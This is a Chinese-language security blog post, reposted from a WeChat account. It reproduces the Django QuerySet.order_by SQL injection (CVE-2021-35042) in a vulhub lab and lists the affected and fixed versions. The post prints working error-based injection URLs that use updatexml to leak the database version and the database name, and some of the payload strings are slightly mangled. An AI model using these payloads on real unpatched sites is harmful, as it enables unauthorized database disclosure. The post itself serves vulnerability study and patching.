Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)

admin 2022年5月19日01:54:26安全漏洞评论10 views906字阅读3分1秒阅读模式

前言:

 

Django 是一个高级 Python Web 框架,它鼓励快速开发和简洁、实用的设计。它由经验丰富的开发人员构建,解决了 Web 开发的大部分麻烦,因此您可以专注于编写应用程序,而无需重新发明轮子。它是免费和开源的。

影响版本:

Django 3.2

Django 3.1

 

安全版本:

 

Django >= 3.2.5

Django >= 3.1.13

 

正文:

 

环境搭建:

 

基于 vulhub 靶场进行环境搭建,启动目录:

/vulhub-master/django/CVE-2021-35042


 

启动命令:

 

docker-compose up -d



Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)

访问 http://192.168.0.110:8000 成功即可

 

漏洞复现:


Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)







我们访问 http://192.168.0.110:8000/vuln/这个页面


通过 order 这个参数我们传递一个值构造一下

Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)

http://192.168.0.110:8000/vuln/?order=-id

可以看到这里的顺序变为了倒序
我们就可以利用这里的条件来构造语句利用报错注入
添加

?order=vuln_collection.name);select updatexml(1,concat(0x7e,(select @@version)),1)%23

到 GET 参数,其中 vuln 是我们的应用程序和 collection 模型。这里我们爆破一下数据库版本。
直接拼接到网址后面

Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)

http://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,(select%[email protected]@version)),1)%23

这里成功利用报错 注入完成,我们总结下其他语句ht

tp://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,database()),1)%23 

   //报错回显库名


原文始发于微信公众号(白安全组):Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月19日01:54:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Django QuerySet.order_by SQLt注入漏洞 (CVE-2021-35042) http://cn-sec.com/archives/1019416.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: